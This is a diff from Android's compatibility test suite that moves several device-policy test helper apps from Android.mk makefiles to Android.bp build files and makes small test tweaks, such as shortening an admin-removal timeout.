--- /dev/null
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsIntentReceiverApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+    ],
+    sdk_version: "current",
+    min_sdk_version: "19",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
deleted file mode 100644
index 1bd898d..0000000
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsIntentReceiverApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index 5e4fb07..f305e86 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,8 +23,6 @@
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 import java.lang.InterruptedException;
@@ -44,7 +42,6 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testOwnerChangedBroadcastReceived() throws InterruptedException {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
new file mode 100644
index 0000000..44b19b7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsIntentSenderApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "current",
+    min_sdk_version: "19",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
deleted file mode 100644
index 196e192..0000000
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsIntentSenderApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner-axt \
-	ub-uiautomator
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 131aee1..f1852dc 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	androidx.legacy_legacy-support-v4 \
@@ -35,6 +35,7 @@
 	testng
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
new file mode 100644
index 0000000..f134b69
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsLauncherAppsTestsSupport",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    sdk_version: "current",
+    min_sdk_version: "21",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
deleted file mode 100644
index 932f691..0000000
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLauncherAppsTestsSupport
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-junit
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
new file mode 100644
index 0000000..73f0747
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsManagedProfileApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+        "guava",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "20",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
deleted file mode 100644
index 5e4a575..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsManagedProfileApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	ctstestrunner-axt \
-	compatibility-device-util-axt \
-	ub-uiautomator \
-	androidx.test.rules \
-	guava
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index f20edcc..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -41,8 +41,8 @@
         ComponentName cn = PrimaryUserDeviceAdmin.ADMIN_RECEIVER_COMPONENT;
         if (mDpm.isAdminActive(cn)) {
             mDpm.removeActiveAdmin(cn);
-            // Wait until device admin is not active (with 5 minutes timeout).
-            for (int i = 0; i < 5 * 60 && mDpm.isAdminActive(cn); i++) {
+            // Wait until device admin is not active (with 2 minutes timeout).
+            for (int i = 0; i < 2 * 60 && mDpm.isAdminActive(cn); i++) {
                 Thread.sleep(1000);  // 1 second.
             }
         }
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
new file mode 100644
index 0000000..a308d22
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMeteredDataTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.mk b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.mk
deleted file mode 100644
index a63c410b..0000000
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsMeteredDataTestApp
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
new file mode 100644
index 0000000..56afe62
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsNotificationSenderApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
deleted file mode 100644
index 8c7633e..0000000
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsNotificationSenderApp
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
new file mode 100644
index 0000000..473666e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsPackageInstallerApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "21",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
deleted file mode 100644
index 1d4f8ae..0000000
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsPackageInstallerApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
new file mode 100644
index 0000000..0cdad22
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicyPrintingApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.mk b/hostsidetests/devicepolicy/app/PrintingApp/Android.mk
deleted file mode 100644
index be8f1f7..0000000
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicyPrintingApp
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
new file mode 100644
index 0000000..2ead68f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsProfileOwnerApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    min_sdk_version: "24",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
deleted file mode 100644
index e4b4171..0000000
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsProfileOwnerApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    cts-junit \
-    android.test.base.stubs \
-
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
new file mode 100644
index 0000000..66d9ca1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSimpleApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
deleted file mode 100644
index b4f6e6d..0000000
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSimpleApp
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 67fa271..7c7f94b 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,9 +23,7 @@
 import android.app.Service;
 import android.content.Intent;
 import android.os.Binder;
